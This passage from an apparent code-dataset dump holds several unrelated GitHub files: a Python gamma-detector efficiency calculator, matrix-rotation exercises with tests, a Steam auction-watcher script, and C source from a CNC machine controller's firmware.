9 + \"+ Hole Radius [R(cm)] = \")\n else:\n R = CryRadius\n L = CryLength\n R_hole = HoleRadius\n \n if R_hole:\n try:\n R_hole = abs(R_hole)\n assert R > R_hole , \" The Hole Radius should be less than The Crystal Radius\\n\"\n except (AssertionError, ValueError) as err:\n print (err)\n return DetectorFactory()\n return BoreDetector(R, L, R_hole)\n else:\n return CylDetector(R, L)\n\nclass GammaDetector(object):\n _ID = \"General Type Gamma Detector\"\n \n def GeoEff_At(self, aPnt):\n pass\n \n def GeoErr_At(self, aPnt):\n pass\n \n def MaxPhi(self, theta):\n side = self._Pnt.h * sin(theta) \n try: \n y = (self._Pnt.Rho**2 + side**2- self.R**2 )/ side / self._Pnt.Rho /2\n ang = acos(y) # acos() has a range from -1 to +1 \n except ValueError:\n ang = pi # Calculation Error in y can be significant.\n except ZeroDivisionError:\n ang = pi/2\n return ang\n \n @staticmethod\n def func1(theta) -> float:\n return sin(theta)\n \n def func2(self, theta) -> float:\n return self.MaxPhi(theta) * sin(theta)\n\n\nclass CylDetector(GammaDetector):\n \"\"\" construct a cylindrical detector from:- \n \n - the given argument(s):-\n CylDetector(CryRadius, CryLength)\n or \n - the console:-\n CylDetector()\n\n CryRadius: the radius of the detector crystal [active material].\n CryLength: the length of the detector crystal [active material].\n \"\"\"\n _ID = \"CylDetector\"\n \n def __init__(self, CryRadius = None, CryLength = None):\n self._Pnt= None # type(_Pnt) is SurfacePNT \n if CryRadius == None:\n print (\" - The detector:-\")\n self.R = getFloat(\" \" * 9 + \"+ Crystal Radius [R(cm)] = \")\n self.L = getFloat(\" \" * 9 + \"+ Crystal Length [L(cm)] = \")\n else:\n try:\n self.R = abs(CryRadius)\n self.L = abs(CryLength)\n except ValueError as err:\n print (err)\n return CylDetector()\n\n def _Cal_GeoEff(self):\n \"\"\" Calculates the geometrical efficiency and the associated error\n as measured from or the point source in the defined in attribute _Pnt.\n \"\"\" \n if 0 == self._Pnt.Rho:\n strt = 0; end = atan2(self.R , self._Pnt.h)\n self._GeoEff, self._GeoErr = mp.quadts(self.func1, [strt, end], error=True)\n else:\n \n strt = 0\n transtion = atan2(self.R -self._Pnt.Rho , self._Pnt.h)\n end = atan2(self.R + self._Pnt.Rho , self._Pnt.h)\n\n if transtion >= 0:\n prt1 = mp.quadts(self.func1, [strt, transtion], error=True )\n prt2 = mp.quadts(self.func2, [transtion, end], error=True )\n self._GeoEff = prt1[0] + prt2[0] / pi\n self._GeoErr = prt1[1] + prt2[1] / pi\n else:\n raise NotImplementedError(\" Off-axis Point out of the\\\n Detector Face is not Implemented Yet\")\n \n def GeoEff_At(self, aSurfacePNT):\n \"\"\" returns the Geometrical Efficiency for the given point\n \n Check whether attribute _Pnt bound to the given point if it is not it\n should refresh the _Pnt attribute of the detector to match the given \n point then call _Cal_GeoEff(). \n \n \n aSurfacePNT: a surface point where we want to calculate the Geometrical \n efficiency and the associated error.\n \"\"\"\n if self._Pnt != aSurfacePNT: \n self._Pnt = aSurfacePNT \n self._Cal_GeoEff()\n return self._GeoEff/2\n \n def GeoErr_At(self, aSurfacePNT):\n \"\"\" returns the Error in the Geometrical Efficiency calculation \n for the given point\n \n Check whether attribute _Pnt blind to the given point if it is not it\n should refresh the _Pnt attribute of the detector to match the given \n point then call _Cal_GeoEff(). \n \n \n aSurfacePNT: a surface point where we want to calculate the Geometrical \n efficiency and the associated error.\n \"\"\"\n if self._Pnt != aSurfacePNT: \n self._Pnt = aSurfacePNT \n self._Cal_GeoEff()\n return self._GeoErr/2\n \n def __repr__(self):\n return self._ID + \"(\" + \\\n \"CryRadius = \" + str(self.R) + \\\n \", CryLength = \" + str(self.L) + \")\"\n \nclass BoreDetector(GammaDetector):\n \"\"\"construct a borehole detector from:- \n \n - the given argument(s):-\n BoreDetector(CryRadius, CryLength, HoleRaduis) .\n or \n - the console:-\n BoreDetector()\n \n\n CryRadius: the radius of the detector crystal [active material].\n CryLength: the length of the detector crystal [active material].\n HoleRadius : the radius of the hole.\n \"\"\"\n _ID = \"BoreDetector\"\n \n def __init__(self, CryRadius = None, CryLength = None, HoleRaduis = None ): \n self._Pnt = None # type(_Pnt) is CenterPNT\n try:\n if CryRadius == None:\n print (\" - The detector:-\")\n self.R = getFloat(\" \" * 9 + \"+ Crystal Radius [R(cm)] = \")\n self.L = getFloat(\" \" * 9 + \"+ Crystal Length [L(cm)] = \")\n self.R_hole = getFloat(\" \" * 9 + \"+ Hole Radius [R_hole(cm)] = \", 0 , self.R )\n else:\n self.R = abs(CryRadius)\n self.L = abs(CryLength)\n self.R_hole = abs(HoleRaduis)\n assert self.R > self.R_hole , \" The Hole Radius should be less than The Crystal Radius\\n\"\n \n except (AssertionError, ValueError) as err:\n print (\"\\n\", err)\n return BoreDetector()\n\n \n def _Cal_GeoEff(self):\n Height = self._Pnt.h - self.L/2\n if 0 == self._Pnt.Rho:\n if Height > 0:\n strt = atan2(self.R_hole , Height); end = atan2(self.R , self._Pnt.h)\n self._GeoEff, self._GeoErr = mp.quadts(self.func1, [strt, end], error=True)\n else:\n strt1 = strt2 = 0;\n end1 = atan2(self.R_hole , -Height)\n end2 = atan2(self.R_hole , self.L + Height)\n up = mp.quadts(self.func1, [strt1, end1], error=True)\n down = mp.quadts(self.func1, [strt2, end2], error=True)\n self._GeoEff = 2 - up[0] - down [0]\n self._GeoErr = up[1] + down [1]\n else:\n #raise NotImplementedError(\" Off-axis point is not considered yet\")\n if Height > 0: \n det1 = CylDetector(self.R_hole, self.L); \n det2 = CylDetector(self.R, self.L) \n det1._Pnt = det2._Pnt = SurfacePNT(Height, self._Pnt.Rho) \n det1._Cal_GeoEff() ; det2._Cal_GeoEff() \n self._GeoEff = det2._GeoEff - det1._GeoEff \n self._GeoErr = det1._GeoErr + det2._GeoErr \n else:\n det1 = det2 = CylDetector(self.L, self.R_hole); \n det1._Pnt = SurfacePNT( -Height, self._Pnt.Rho,)\n det2._Pnt = SurfacePNT(self.L + Height, self._Pnt.Rho) \n det1._Cal_GeoEff() ; det2._Cal_GeoEff() \n self._GeoEff= 2 - det1._GeoEff - det2._GeoEff\n self._GeoErr = det1._GeoErr + det2._GeoErr \n\n def GeoEff_At(self, aCenterPNT):\n if self._Pnt != aCenterPNT: \n self._Pnt = aCenterPNT\n self._Cal_GeoEff()\n return self._GeoEff/2\n \n def GeoErr_At(self, aCenterPNT):\n if self._Pnt != aCenterPNT: \n self._Pnt = aCenterPNT\n self._Cal_GeoEff()\n return self._GeoErr/2\n \n def __repr__(self):\n return self._ID + \"(\" + \\\n \"CryRadius = \" + str(self.R) + \\\n \", CryLength = \" + str(self.L) + \\\n \", HoleRaduis = \" + str(self.R_hole) + \")\"\n \nclass point(object):pass\nclass SurfacePNT(point):\n def __init__(self, Height = None, Rho = 0):\n if Height == None:\n print() \n print (\" - The Point Source [as measured from the crystal surface]:-\")\n self.h = getFloat(\" \" * 9 + \"+ Height [H(cm)] = \")\n self.Rho = getFloat(\" \" * 9 + \"+ Off-axis [Rho(cm)] = \")\n print()\n else:\n self.h = abs(Height)\n self.Rho = abs(Rho)\n\n \nclass CentrePNT(point):\n def __init__(self, Height = None, Rho = 0):\n if Height == None:\n print() \n print (\" - The Point Source\")\n print (\" \" * 4 + \"[as measured from the detector center for a Bore Hole Detector]:-\")\n self.h = getFloat(\" \" * 9 + \"+ Height [H(cm)] = \")\n self.Rho = getFloat(\" \" * 9 + \"+ Off-axis [Rho(cm)] = \")\n print()\n else:\n self.h = abs(Height)\n self.Rho = abs(Rho)\n \n \n# detector:- the program decide the correct type from the arguments.\ndetector = DetectorFactory\n\ndef main():\n det = detector()\n while True:\n if det._ID == \"BoreDetector\":\n aCentrePNT = CentrePNT()\n Eff = det.GeoEff_At(aCentrePNT)\n Err = det.GeoErr_At(aCentrePNT)\n elif det._ID == \"CylDetector\":\n aSurfacePNT = SurfacePNT() \n Eff = det.GeoEff_At(aSurfacePNT)\n Err = det.GeoErr_At(aSurfacePNT)\n else:\n raise NotImplementedError(\"This Type of detector does not Implemented yet\")\n \n print(str(det))\n print(\"\\n - The {0} Detector Geometrical Efficiency = {1}\".format(\"Bore Hole\" if det._ID==\"BoreDetector\" else \"Cylindrical\", Eff ))\n print(\"\\n - The Error in the Geometrical Efficiency = \", Err)\n res = input (\"\"\"\n - To Continue Make a choice:-\n + using the same detector Press 'D'\n + using a new detector Press 'N'\n - To quit just press return\\n\n your Choice: \"\"\"); print()\n if res.lower() == \"n\":\n det = detector() \n elif res.lower() == \"d\":\n pass\n else:\n break\n\nif __name__ == '__main__':\n print (__doc__)\n main()\n print (\" -==<<< The program Terminated >>>==-\")" } ]
1
Sindroc/coding_problems
https://github.com/Sindroc/coding_problems
549f5e1013428c399381fbf2009119de4e560598
9b85afe1946f5318b64e6abac7644c85119135da
9900d6ee4cf9bf0557107043b387f866ccdece8b
refs/heads/main
2023-06-08T14:43:35.521862
2021-06-04T15:43:07
2021-06-04T15:43:07
317,576,800
0
0
null
2020-12-01T15:01:12
2020-12-01T15:01:17
2021-03-11T14:11:48
null
[ { "alpha_fraction": 0.5700680017471313, "alphanum_fraction": 0.601360559463501, "avg_line_length": 30.826086044311523, "blob_id": "52c7a503998fea0659a0383a06d870e112ca31af", "content_id": "4441d08a2f585b50a2b71fe4e41da7b85071c03d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 735, "license_type": "no_license", "max_line_length": 84, "num_lines": 23, "path": "/rotate_three_quart.py", "repo_name": "Sindroc/coding_problems", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Mar 3 14:37:00 2021\n\n@author: sindy\n\"\"\"\n\n\ndef three_quarter_rotate(original_matrix):\n length = len(original_matrix)\n three_quarter_rotate = [None]*length\n for row in range(length): # initialize the rotate matrix\n three_quarter_rotate[row] = [None] * length # with None values \n for row in range(length):\n for col in range(length): # fill the matrix \n three_quarter_rotate[row][col] = original_matrix[length - col -1][row]\n print(three_quarter_rotate)\n return three_quarter_rotate\n\n\noriginal_matrix = [[1,2,3], [4,5,6], [7,8,9]]\nthree_quarter_rotate(original_matrix)\n\n\n\n" }, { "alpha_fraction": 0.5429864525794983, "alphanum_fraction": 0.5837104320526123, "avg_line_length": 30.5238094329834, "blob_id": "ab30984a869e047d297b7e96a719cc40ae180ef6", "content_id": "5808dab9aecfbe7be26b5c2beda9fd700b670a35", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 663, "license_type": "no_license", "max_line_length": 87, "num_lines": 21, "path": "/rotate_half.py", "repo_name": "Sindroc/coding_problems", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Mar 3 10:26:55 2021\nrotate 180.\n@author: sindy\n\"\"\"\n\ndef half_rotate(original_matrix):\n length = len(original_matrix)\n half_rotate = [None]*length\n for row in range(length): # initialize the rotate matrix\n half_rotate[row] = [None] * length # with None values \n for row in range(length):\n for col in range(length): # fill the matrix \n half_rotate[row][col] = original_matrix[length - row - 1][length - col - 1]\n return half_rotate\n\n\noriginal_matrix = [[1,2,3], [4,5,6], [7,8,9]]\nhalf_rotate(original_matrix)\n\n" }, { "alpha_fraction": 0.5506912469863892, "alphanum_fraction": 0.5979262590408325, "avg_line_length": 29.964284896850586, "blob_id": "9d07137883ac0e744d4d9d13b2193920ca074a64", "content_id": "a34614685d534df6b574a2a317a96b1ecdf1600d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 868, "license_type": "no_license", "max_line_length": 79, "num_lines": 28, "path": "/rotate_right.py", "repo_name": "Sindroc/coding_problems", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Mar 1 23:28:20 2021\nGiven an image represented by an NxN matrix, where \neach pixel in the image is 4 bytes, write a method to \nrotate the image by 90 degrees. Can you do this in place?\n@author: sindy\n\"\"\"\n\n\ndef right_rotate(original_matrix):\n length = len(original_matrix)\n right_rotate = [None]*length\n for row in range(length): # initialize the rotate matrix\n right_rotate[row] = [None] * length # with None values \n for row in range(length):\n for col in range(length): # fill the matrix \n right_rotate[col][row] = original_matrix[length - row - 1][col]\n return right_rotate\n \n \n # A = [[1,2,3], [4,5,6], [7,8,9], [10,11,12]]\noriginal_matrix = [[1,2,3], [4,5,6], [7,8,9]]\n\n\n\nright_rotate(original_matrix)\n\n" }, { "alpha_fraction": 0.4408413767814636, "alphanum_fraction": 0.5293602347373962, "avg_line_length": 26.975000381469727, "blob_id": "3071832e2f6947db0c5bf6c0c31aae398af01b24", "content_id": "83715ee4debcb74e1c9de8e5fbc8ad25dac6b9f3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1141, "license_type": "no_license", "max_line_length": 84, "num_lines": 40, "path": "/main.py", "repo_name": "Sindroc/coding_problems", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Mar 3 09:50:03 2021\n\n@author: sindy\n\"\"\"\n\nimport unittest\nimport rotate_right\nimport rotate_left\nimport rotate_half\nimport rotate_three_quart\n \nclass Test(unittest.TestCase): \n \n def test_left(self): \n matriz1 = [[1,2,3], [4,5,6],[7,8,9]]\n matriz2 = [[3, 6, 9], [2, 5, 8], [1, 4, 7]]\n self.assertEqual(rotate_left.left_rotate(matriz1), matriz2)\n\n\n def test_right(self): \n matriz1 = [[1,2,3], [4,5,6],[7,8,9]]\n matriz2 = [[7,4,1], [8,5,2],[9,6,3]]\n self.assertEqual(rotate_right.right_rotate(matriz1), matriz2)\n \n def test_half(self):\n matriz1 = [[1,2,3],[4,5,6],[7,8,9]]\n matriz2 = [[9,8,7],[6,5,4],[3,2,1]]\n self.assertEqual(rotate_half.half_rotate(matriz1), matriz2) \n\n def test_three_quarter(self):\n matriz1 = [[1,2,3],[4,5,6],[7,8,9]]\n matriz2 = [[7,4,1],[8,5,2], [9,6,3]]\n self.assertEqual(rotate_three_quart.three_quarter_rotate(matriz1), matriz2) \n \n \nif __name__ == \"__main__\":\n unittest.main() \n \n \n " }, { "alpha_fraction": 0.5429016947746277, "alphanum_fraction": 0.5787831544876099, "avg_line_length": 25.70833396911621, "blob_id": "1ef41f5c2c4e5a0965d720ff9e600aad4a0cba52", "content_id": "ae5a091d772a29acc8a596f0a0b19b07dc211068", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 641, "license_type": "no_license", "max_line_length": 79, "num_lines": 24, "path": "/rotate_left.py", "repo_name": "Sindroc/coding_problems", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Mar 3 09:47:38 2021\n\n@author: sindy\n\"\"\"\n\n\n\n\ndef left_rotate(original_matrix):\n length = len(original_matrix)\n left_rotate = [None]*length\n for row in range(length): # initialize the rotate matrix\n left_rotate[row] = [None] * length # with None values \n for row in range(length):\n for col in range(length): # fill the matrix \n left_rotate[row][col] = original_matrix[col][length - row - 1]\n return left_rotate\n\n\noriginal_matrix = [[1,2,3], [4,5,6], [7,8,9]]\nleft_rotate(original_matrix)\n" } ]
5
rukai/steamAuctionWatcher
https://github.com/rukai/steamAuctionWatcher
f5d8e402ea84c2387cca12e78454ab9df2e0c325
fa249ac021529a2430ce696d8bddea8a23aafe5c
bd24b88cb797ee9dd22ebd03ce2a1a69073bc9ca
refs/heads/master
2021-01-25T03:49:21.148733
2014-12-16T22:02:15
2014-12-16T22:02:15
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6594778895378113, "alphanum_fraction": 0.6651532053947449, "avg_line_length": 34.95918273925781, "blob_id": "b9e16a327723917973daf7d87e0eb055f2af9a91", "content_id": "6a19eef99474ba450d984afa4d4b33b0e1ea9225", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1762, "license_type": "no_license", "max_line_length": 115, "num_lines": 49, "path": "/auctionWatcher.py", "repo_name": "rukai/steamAuctionWatcher", "src_encoding": "UTF-8", "text": "#!/bin/env python3\nimport urllib.request\nimport urllib.parse\nimport re\nimport itertools\n\ndef getPage(item):\n item = item.strip() #Item not unicode safe\n response = urllib.request.urlopen(item)\n return response.read().decode(\"unicode_escape\")\n\n\n#get status of each auction item\ndef getAuctionItems():\n with open(\"auctionItems.txt\") as itemsFile:\n for item in itemsFile:\n page = getPage(item)\n\n #grep items left, name and highest bid\n remaining = searchValue(r'<span class=\"sep_text\">\\s*?(\\S*?) of this item remaining', page)\n name = searchValue(r'<div class=\"auction_game_name\">\\s*(.*?)\\s*</div>', page)\n highestBid = searchValue(r'currently has the highest bid: (.*?) Gems', page)\n yield (remaining, name, highestBid, item)\n\n#Takes a regex and returns the first group in the page\ndef searchValue(regex, page):\n result = re.search(regex, page)\n if result:\n return result.group(1)\n else:\n return \"Error\"\n\n#Show status of each auction item\ndef displayAuctionItems(items):\n items = itertools.chain([(\"Remaining\", \"Name\", \"Highest Bid\", \"Dummy\")], items)\n for remaining, name, highestBid, _ in items:\n print(remaining, name, highestBid, sep=\"-\")\n\ndef main():\n #Show when current auction round ends.\n testData = getPage(\"http://steamcommunity.com/auction/item/1890-2014-Holiday-Profile\")\n #endDate = searchValue(r'This auction round will end at (.*?)\\.', testData) #Maybe this form is sometimes used?\n endDate = searchValue(r'<span class=\"sep_text\">\\s*(.*?)left to bid in this auction round', testData)\n print(\"Auction ends in\", endDate)\n \n #Show status of each auction item\n displayAuctionItems(getAuctionItems())\n\nmain()\n" }, { "alpha_fraction": 0.6470588445663452, "alphanum_fraction": 0.7058823704719543, "avg_line_length": 16, "blob_id": "582198301ea2f00d43d1d8eb8cf672d389e4816d", "content_id": "434b148bfa2c68776302dbba05a0f044a65c7826", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 51, "license_type": "no_license", "max_line_length": 39, "num_lines": 3, "path": "/watch.sh", "repo_name": "rukai/steamAuctionWatcher", "src_encoding": "UTF-8", "text": "#!/bin/sh\n\nwatch -n 20 \"python3 auctionWatcher.py\"\n" }, { "alpha_fraction": 0.7423934936523438, "alphanum_fraction": 0.7444218993186951, "avg_line_length": 23.649999618530273, "blob_id": "d6e4b52fbae4a66c7a13166dea9eb0e74a0e509b", "content_id": "5ea30e6c53ab37308d31f6ccd41cb41264b08032", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 493, "license_type": "no_license", "max_line_length": 114, "num_lines": 20, "path": "/README.md", "repo_name": "rukai/steamAuctionWatcher", "src_encoding": "UTF-8", "text": "#Steam Auction Watcher\n\nWatches items in the Steam Holiday Auction.\n\n## Requirements\n\n* Python 3\n* Windows and Linux are tested.\n\n## Instructions\n\nModify the `auctionItems.txt` file to contain a valid item page from the auction such as the examples in the file.\n\n### Unix\nRun `watch.sh` to see live updates or `auctionWatcher.py` to check once.\n\n### Windows\n\nEnsure python is listed in your system variable 'Path'.\nRun `watch.bat` to see live updates or `auctionWatcher.py` to check once.\n" } ]
3
ustropo/MT01
https://github.com/ustropo/MT01
4741ba4fa5c1aedbed53b591c611384779ff844d
d9631a32fa3c4bb13d9e1961b08d6ca942445c6b
df561481a91fb610706db345f5ff2525207c6a96
refs/heads/master
2020-04-15T14:35:30.587538
2017-11-06T18:14:42
2017-11-06T18:14:42
46,525,478
1
2
null
null
null
null
null
[ { "alpha_fraction": 0.5579450130462646, "alphanum_fraction": 0.6105137467384338, "avg_line_length": 21.21238899230957, "blob_id": "5f72eb25b2f94090b38e3a79e224559099419622", "content_id": "1eae4d5546d79f0dc6d802d0b4ec9730e53d4999", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 2511, "license_type": "no_license", "max_line_length": 80, "num_lines": 113, "path": "/r_s12ad_rx/readme.txt", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "PLEASE REFER TO THE APPLICATION NOTE FOR THIS DRIVER FOR MORE INFORMATION\n\nr_s12ad_rx\n==========\n\nDocument Number \n---------------\nN/A\n\nVersion\n-------\nv1.30\n\nOverview\n--------------------------------------------------------------------------------\nThe r_s12ad_rx module is an A/D driver for the S12ADa/b peripherals. The API \nincludes functions to initialize the peripheral, trigger conversions, check for\nconversion completion, and read the results. The driver supports all channels\nand sensors available on the mcu. The driver can be reduced in size by removing \nthe code used for parameter checking. The configuration option for this can be \nfound in \"r_config\\r_s12ad_rx_config.h\". An original copy of the configuration \nfile is stored in \"r_s12ad_rx\\ref\\r_s12ad_rx_config_reference.h\".\n\n\nFeatures\n--------\n* Single Scans and Continuous Scanning.\n* Software, asynchronous, and synchronous triggers.\n* Group and Double Trigger Modes (on applicable MCUs).\n* Automatic addition of multiple samples.\n\n\nSupported MCUs\n--------------\n* RX110 Group\n* RX111 Group\n* RX210 Group\n* RX630 Group\n* RX631 Group\n* RX63N Group\n\n\nBoards Tested On\n----------------\n* RSKRX110\n* RSKRX111\n* RSKRX210\n* RDKRX63N\n\n\nLimitations\n-----------\nDriver does not support RX63T family.\n\n\nPeripherals Used Directly\n-------------------------\n* S12ADa\n* S12ADb\n\nRequired Packages\n-----------------\n* r_bsp v2.50\n\n\nHow to add to your project\n--------------------------\n* Add the r_s12ad_rx and r_config folders to your project.\n* Add a project include path for the 'r_s12ad_rx' directory. \n* Add a project include path for the 'r_s12ad_rx\\src' directory.\n* Add a project include path for the 'r_config' directory.\n* Open \"r_config\\r_s12ad_rx_config.h\" file and configure the driver for your \n project.\n* Add a #include for r_s12ad_rx_if.h to any source files that need to use the \n API functions.\n\n\nToolchain(s) Used\n-----------------\n* Renesas RX v2.01\n\n\nFile Structure\n--------------\nr_s12ad_rx\n| readme.txt\n| r_s12ad_rx_if.h\n|\n+---doc\n| r01an1666eu0130_rx.pdf\n|\n+---ref\n| r_s12ad_rx_config_reference.h\n|\n+---src\n +-- r_s12ad_rx.c\n +-- r_s12ad_rx_private.h\n |\n +-- targets\n +-- rx110_rx111\n | +-- r_s12ad_rx110_rx111.c\n | +-- r_s12ad_rx110_rx111_if.h\n |\n +-- rx210\n | +-- r_s12ad_rx210.c\n | +-- r_s12ad_rx210_if.h\n |\n +-- rx63x\n +-- r_s12ad_rx63x.c\n +-- r_s12ad_rx63x_if.h\n \nr_config\n r_s12ad_rx_config.h\n\n" }, { "alpha_fraction": 0.7412371039390564, "alphanum_fraction": 0.7505154609680176, "avg_line_length": 39.41666793823242, "blob_id": "2012c73455e2766615ca816268ef29a4f1317790", "content_id": "b054e6d82ff81b171ebc7694b2ec0c91fadce6c1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1940, "license_type": "no_license", "max_line_length": 91, "num_lines": 48, "path": "/src/cnc/network.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * network.h - tinyg networking protocol\n * Part of TinyG project\n *\n * Copyright (c) 2011 - 2012 Alden S. Hart Jr.\n *\n * This file (\"the software\") is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License, version 2 as published by the\n * Free Software Foundation. You should have received a copy of the GNU General Public\n * License, version 2 along with the software. If not, see <http://www.gnu.org/licenses/>.\n *\n * As a special exception, you may use this file as part of a software library without\n * restriction. Specifically, if other files instantiate templates or use macros or\n * inline functions from this file, or you compile this file and link it with other\n * files to produce an executable, this file does not by itself cause the resulting\n * executable to be covered by the GNU General Public License. This exception does not\n * however invalidate any other reasons why the executable file might be covered by the\n * GNU General Public License.\n *\n * THE SOFTWARE IS DISTRIBUTED IN THE HOPE THAT IT WILL BE USEFUL, BUT WITHOUT ANY\n * WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\n * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT\n * SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF\n * OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n */\n#ifndef network_h\n#define network_h\n\n/*\n * Global Scope Functions\n */\n\nenum networkMode {\n\tNETWORK_STANDALONE = 0,\n\tNETWORK_MASTER,\n\tNETWORK_SLAVE\n};\n\nvoid network_init();\nvoid net_forward(unsigned char c);\nuint8_t net_test_rxtx(uint8_t c);\nuint8_t net_test_loopback(uint8_t c);\n\n#define XIO_DEV_NET XIO_DEV_RS485\t// define the network channel\n//#define net_forward(c) (xio_putc(XIO_DEV_NET,c))\n\n#endif\n" }, { "alpha_fraction": 0.7215517163276672, "alphanum_fraction": 0.7336207032203674, "avg_line_length": 23.680850982666016, "blob_id": "c7eec0e3e1db81a4bf45b8aadf512f4e26f6340f", "content_id": "d8d7c30592d2b801d11aadc94c9175190d345bdf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1160, "license_type": "no_license", "max_line_length": 49, "num_lines": 47, "path": "/src/include/interpreter_if.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * interpreter_if.h\n *\n * Created on: 21/12/2015\n * Author: leocafonso\n */\n\n#ifndef INCLUDE_INTERPRETER_IF_H_\n#define INCLUDE_INTERPRETER_IF_H_\n\n#include \"tinyg.h\"\t\t\t\t// #1\n#include \"config.h\"\t\t\t\t// #2\n#include \"controller.h\"\n#include \"json_parser.h\"\n#include \"text_parser.h\"\n#include \"gcode_parser.h\"\n#include \"canonical_machine.h\"\n#include \"hardware.h\"\n#include \"xio.h\"\n\ntypedef void (*iif_func_ptr)(void);\n\nextern iif_func_ptr iif_func_enter;\nextern iif_func_ptr iif_func_esc;\nextern iif_func_ptr iif_func_down;\nextern iif_func_ptr iif_func_up;\nextern iif_func_ptr iif_func_left;\nextern iif_func_ptr iif_func_right;\nextern iif_func_ptr iif_func_zdown;\nextern iif_func_ptr iif_func_zup;\nextern iif_func_ptr iif_func_released;\nextern iif_func_ptr iif_func_cycleStop;\nextern uint32_t timerIif;\n\nextern void iif_bind_filerunning(void);\nextern void iif_bind_jog(void);\nextern void iif_bind_deslocar(void);\nextern void iif_bind_line_selection(void);\nextern void iif_bind_idle(void);\nextern void iif_idle(void);\n\nextern void iif_bind_filerunning_stop(bool stop);\n\nextern float zmove;\nextern uint32_t JogkeyPressed;\n\n#endif /* INCLUDE_INTERPRETER_IF_H_ */\n" }, { "alpha_fraction": 0.5, "alphanum_fraction": 0.7799999713897705, "avg_line_length": 32.33333206176758, "blob_id": "f552fcb7f7132c79ffcf372ae417d15b2ae70eac", "content_id": "8f87ce2a342513ae7ef2276736fff0a1dca20b30", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "INI", "length_bytes": 100, "license_type": "no_license", "max_line_length": 41, "num_lines": 3, "path": "/.metadata/version.ini", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "#Fri Nov 20 09:46:03 BRST 2015\norg.eclipse.core.runtime=2\norg.eclipse.platform=4.4.2.v20150204-1700\n" }, { "alpha_fraction": 0.6586558818817139, "alphanum_fraction": 0.6718417406082153, "avg_line_length": 21.075117111206055, "blob_id": "74d3031ceaedcfd588dded600de49695c4c8441d", "content_id": "4329f47860f2531cc64ea1098493e502eac48840", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 4710, "license_type": "no_license", "max_line_length": 74, "num_lines": 213, "path": "/src/states/ut_state_config_manual.c", "repo_name": "ustropo/MT01", "src_encoding": "ISO-8859-1", "text": "/*\n * ut_state_config_menu.c\n *\n * Created on: Dec 6, 2015\n * Author: Fernando\n */\n\n#include \"tinyg.h\"\t\t// #1\n#include \"hardware.h\"\n#include \"planner.h\"\n\n#include \"ut_context.h\"\n#include \"ut_state.h\"\n#include \"ut_state_config_var.h\"\n#include \"interpreter_if.h\"\n#include \"eeprom.h\"\n#include \"macros.h\"\n#include \"state_functions.h\"\n\n#include \"FreeRTOS.h\"\n#include \"task.h\"\n#include \"keyboard.h\"\n\n#include \"keyboard.h\"\n#include \"interpreter_if.h\"\n\n#include \"lcd.h\"\n#include \"lcd_menu.h\"\n\n#define DEFAULT_CONFIG_TIMEOUT\tportMAX_DELAY\n\nextern TaskHandle_t xCncTaskHandle;\n\n/* Array with all config variables */\nut_config_var configs_manual[CONFIG_MANUAL_MAX];\nstatic bool initialized = false;\nstatic float zeroPiecebuffer[3] = {0,0,0};\n\nstatic const ut_state geNextStateManual[6] =\n{\n\tSTATE_MANUAL_MODE,\n\tSTATE_CONFIG_JOG,\n\tSTATE_CONFIG_VAR,\n\tSTATE_CONFIG_VAR,\n\tSTATE_CONFIG_VAR,\n\tSTATE_MAIN_MENU\n};\n\n/* Initial values for each config variable */\nstatic ut_config_type init_types[CONFIG_MANUAL_MAX] =\n{\n\tUT_CONFIG_NULL,\n\tUT_CONFIG_BOOL,\n\tUT_CONFIG_BOOL,\n\tUT_CONFIG_BOOL,\n\tUT_CONFIG_BOOL\n};\n\nstatic uint32_t init_values[CONFIG_MANUAL_MAX] =\n{\n\t0,\n\t0,\n\t0,\n\t0,\n\t0\n};\n\nstatic char* init_names[CONFIG_MANUAL_MAX] =\n{\n\t\" MODO MANUAL\",\n\t\" VELOCIDADE MANUAL\",\n\t\" ZERAR PEÇA\",\n\t\" DESLOCAR - ZERO PEÇA\",\n\t\" ZERAR MÁQUINA\",\n};\n\nstatic var_func init_func[CONFIG_MANUAL_MAX] 